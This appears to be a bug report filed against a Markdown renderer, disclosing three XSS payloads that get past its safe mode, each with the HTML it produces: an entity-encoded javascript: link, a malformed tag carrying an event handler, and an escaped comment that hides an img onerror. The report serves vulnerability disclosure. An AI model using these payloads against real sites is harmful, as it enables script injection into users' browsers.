XSS's in safe mode #721

Describe the bug

A few more XSS vulnerabilities in the safe mode, continuation of #705.

To Reproduce

1. The browser decodes &#58 to : forming a javascript: protocol URL (the ; suffix for html encoding is optional).

[Click me](javascript&#58alert(origin))

<p><a href="javascript&#58alert(origin)">x</a></p>

2. Creates a corrupted <x| tag with arbitrary attributes:

<http:|><x| oncontentvisibilityautostatechange=alert(origin) style=display:block;content-visibility:auto>

<p><a href="http:|">http:|</a><x| oncontentvisibilityautostatechange=alert(origin) style=display:block;content-visibility:auto></p>

3. Backslash with comment allows writing arbitrary HTML:

\<!--<img src onerror=alert(origin)//>-->

<p>&lt;!--<img src onerror=alert(origin)//>--></p>

Expected behavior

Safe HTML is output.

Debug info
Version of library being used: 5fa608264809a32061ed3cc641705f9d81077182 (latest master at time of writing)